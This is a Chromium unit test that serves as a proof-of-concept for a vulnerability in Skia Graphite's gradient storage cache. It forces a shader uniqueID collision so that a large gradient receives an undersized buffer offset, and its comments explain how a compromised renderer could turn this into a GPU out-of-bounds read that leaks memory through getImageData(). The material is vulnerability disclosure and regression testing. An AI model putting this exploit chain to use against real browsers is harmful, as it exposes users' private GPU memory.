// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Proof-of-concept unit test for a uniqueID-collision desync in Skia Graphite's
// FloatStorageManager::allocateGradientData().
//
// FloatStorageManager de-duplicates per-Recording gradient SSBO allocations
// solely by SkShaderBase::uniqueID() (a process-global 32-bit fetch_add
// counter), returning the cached buffer offset on hit *without* re-checking
// that the cached allocation is large enough for the caller's numStops. After
// the 32-bit counter wraps (which a compromised renderer can drive by
// streaming ~2^32 gradient PaintOps to the GPU process while pinning a small
// gradient in the ServiceTransferCache), two distinct live gradients with
// different stop counts can share a uniqueID. The large gradient then receives
// the small gradient's bufferOffset; add_gradient_postamble() emits the large
// gradient's numStops together with the small offset, and on macOS
// (Graphite/Dawn-Metal, default config, with disable_robustness) the fragment
// shader $colorize_grad_buf indexes the bound SSBO far past its allocation,
// reading stale pooled VRAM that is rendered into the canvas and readable via
// getImageData().
//
// This test demonstrates the CPU-side desync directly. The actual GPU
// storage-buffer OOB read is platform-specific (macOS Metal) and not
// observable via ASAN. See poc-macos.html and chromium-counter-wrap.patch for
// the full browser-level reproduction on macOS.
//
// PRECONDITION: next_unique_id() in SkShaderBase.cpp has been masked to 8 bits
// (chromium-counter-wrap.patch) to time-compress the 2^32 wrap. The
// de-duplication logic under test is unchanged.

#include <vector>

#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/skia/include/core/SkColor.h"
#include "third_party/skia/include/core/SkPoint.h"
#include "third_party/skia/include/core/SkRefCnt.h"
#include "third_party/skia/include/core/SkTileMode.h"
#include "third_party/skia/include/effects/SkGradient.h"
#include "third_party/skia/src/gpu/graphite/PipelineData.h"
#include "third_party/skia/src/shaders/gradients/SkGradientBaseShader.h"
#include "third_party/skia/src/shaders/gradients/SkLinearGradient.h"

namespace {

sk_sp<SkLinearGradient> MakeLinearGradient(int numStops) {
  std::vector<SkColor4f> colors(numStops, SkColors::kRed);
  SkGradient::Colors gc(SkSpan<const SkColor4f>(colors.data(), colors.size()),
                        SkTileMode::kClamp);
  SkGradient grad(gc, SkGradient::Interpolation{});
  const SkPoint pts[2] = {{0, 0}, {100, 0}};
  // Construct the SkGradientBaseShader subclass directly so we hold a pointer
  // to the gradient itself (SkShaders::LinearGradient wraps it in an
  // SkLocalMatrixShader). This mirrors what the GPU-process PaintOp playback
  // ultimately holds inside the cached SkPicture.
  return sk_make_sp<SkLinearGradient>(pts, grad);
}

}  // namespace

TEST(GradientCacheCollisionTest, FloatStorageManagerNumStopsDesync) {
  using skgpu::graphite::FloatStorageManager;

  constexpr int kSmallStops = 9;      // Gradient A: 9 stops -> 45 SSBO floats.
  constexpr int kLargeStops = 10000;  // Gradient B: 10000 stops -> 50000 floats.

  // Step 1: Gradient A is the "pinned" small gradient (held in the GPU
  // process's ServiceTransferCache via a cached SkPicture for the lifetime of
  // the process).
  sk_sp<SkLinearGradient> gradient_a = MakeLinearGradient(kSmallStops);
  const uint32_t id_a = gradient_a->uniqueID();

  // Step 2: A compromised renderer streams gradient PaintOps until the 32-bit
  // SkShaderBase uniqueID counter wraps and a freshly-minted gradient B
  // collides with A. With the 8-bit POC mask this takes <=256 constructions; in
  // production it takes ~2^32 (deterministic, renderer-driven).
  sk_sp<SkLinearGradient> gradient_b;
  for (int i = 0; i < 1024 && !gradient_b; ++i) {
    sk_sp<SkLinearGradient> candidate = MakeLinearGradient(kLargeStops);
    if (candidate->uniqueID() == id_a) {
      gradient_b = std::move(candidate);
    }
  }
  ASSERT_TRUE(gradient_b)
      << "uniqueID counter did not wrap; ensure the POC mask in "
         "SkShaderBase.cpp::next_unique_id() is applied";
  ASSERT_NE(gradient_a.get(), gradient_b.get());
  ASSERT_EQ(gradient_a->uniqueID(), gradient_b->uniqueID());
  ASSERT_NE(gradient_a->getColorCount(), gradient_b->getColorCount());

  // Step 3: Both gradients are drawn in the same Recording. Device::drawGeometry
  // builds the per-draw KeyContext with fRecorder->priv().floatStorageManager(),
  // so both calls below land on the same FloatStorageManager instance.
  FloatStorageManager fsm;

  // Gradient A draws first (via SkPictureShader replay on the same Recorder):
  // cache miss, 9*5 = 45 floats allocated at offset 0.
  auto [ptr_a, off_a] = fsm.allocateGradientData(kSmallStops, gradient_a.get());
  EXPECT_NE(ptr_a, nullptr);
  EXPECT_EQ(off_a, 0);

  // Gradient B draws next: cache HIT on uniqueID==id_a. The cache returns A's
  // 45-float region's offset and allocates NOTHING for B's 50000 floats.
  // write_color_and_offset_bufdata() sees dstData==nullptr and skips the data
  // write, but add_gradient_postamble() still emits {numStops=10000,
  // bufferOffset=off_a} as fragment-shader uniforms.
  auto [ptr_b, off_b] = fsm.allocateGradientData(kLargeStops, gradient_b.get());

  fprintf(stderr,
          "\n=== FloatStorageManager uniqueID-collision desync ===\n"
          "  gradient_a: ptr=%p uniqueID=%u numStops=%d  -> {dstData=%p, "
          "bufferOffset=%d} (allocated %d floats)\n"
          "  gradient_b: ptr=%p uniqueID=%u numStops=%d  -> {dstData=%p, "
          "bufferOffset=%d} (allocated 0 floats: CACHE HIT ON COLLISION)\n",
          static_cast<const void*>(gradient_a.get()), gradient_a->uniqueID(),
          kSmallStops, static_cast<const void*>(ptr_a), off_a, kSmallStops * 5,
          static_cast<const void*>(gradient_b.get()), gradient_b->uniqueID(),
          kLargeStops, static_cast<const void*>(ptr_b), off_b);

  // This is the bug: distinct shader, distinct numStops, but cache hit ->
  // {nullptr, A's offset}. No cross-check on numStops.
  EXPECT_EQ(ptr_b, nullptr) << "expected cache hit on colliding uniqueID";
  EXPECT_EQ(off_b, off_a) << "expected B to receive A's bufferOffset";

  // Step 4: Prove the SSBO is undersized. Allocate a third (non-colliding)
  // gradient C; its offset equals the *current* end of fGradientStorage.
  sk_sp<SkLinearGradient> gradient_c;
  for (int i = 0; i < 1024 && !gradient_c; ++i) {
    sk_sp<SkLinearGradient> candidate = MakeLinearGradient(kSmallStops);
    if (candidate->uniqueID() != id_a) {
      gradient_c = std::move(candidate);
    }
  }
  ASSERT_TRUE(gradient_c);
  auto [ptr_c, off_c] = fsm.allocateGradientData(kSmallStops, gradient_c.get());
  EXPECT_NE(ptr_c, nullptr);
  // off_c == 45 proves fGradientStorage held only A's 45 floats after B's
  // "allocation" -- i.e. B got zero bytes.
  EXPECT_EQ(off_c, kSmallStops * 5)
      << "fGradientStorage grew past 45 floats; collision not reproduced";

  // After finalize(), the bound SSBO covers off_c + 45 = 90 floats.
  // B's fragment shader ($colorize_grad_buf, sksl_graphite_frag.sksl:831-871)
  // computes lastColorIndex = bufferOffset + 5*numStops - 4 and reads
  // colorAndOffsetData[lastColorIndex .. lastColorIndex+3]. With
  // bufferOffset=off_b and numStops=kLargeStops:
  const int ssbo_floats = off_c + kSmallStops * 5;
  const int last_color_index = off_b + 5 * kLargeStops - 4;
  const int oob_floats = (last_color_index + 4) - ssbo_floats;
  fprintf(stderr,
          "  finalize() will bind an SSBO of %d floats (%d bytes)\n"
          "  $colorize_grad_buf for gradient_b reads up to index %d\n"
          "  => GPU storage-buffer OOB READ of %d floats (%d bytes) past the "
          "binding\n"
          "  On macOS (Graphite/Dawn-Metal default, disable_robustness toggle "
          "set in dawn_context_provider.cc), the emitted MSL indexes a raw "
          "`device float*` with no bounds check; leaked bytes are rendered as "
          "RGBA and readable via getImageData().\n"
          "=====================================================\n\n",
          ssbo_floats, ssbo_floats * 4, last_color_index, oob_floats,
          oob_floats * 4);

  ASSERT_GT(last_color_index, ssbo_floats)
      << "no OOB: SSBO covers all indices gradient_b will read";

  // Finally, assert the invariant that *should* hold: every (offset,numStops)
  // pair emitted as uniforms must fit inside the SSBO. This assertion FAILS,
  // which is the vulnerability.
  EXPECT_LE(off_b + 5 * kLargeStops, ssbo_floats)
      << "VULNERABILITY CONFIRMED: gradient_b's uniforms encode "
         "{bufferOffset="
      << off_b << ", numStops=" << kLargeStops
      << "} => shader reads indices [" << off_b << ", "
      << off_b + 5 * kLargeStops - 1 << "] from a " << ssbo_floats
      << "-float SSBO. FloatStorageManager::allocateGradientData() returned a "
         "cached offset for a colliding uniqueID without cross-checking "
         "numStops.";
}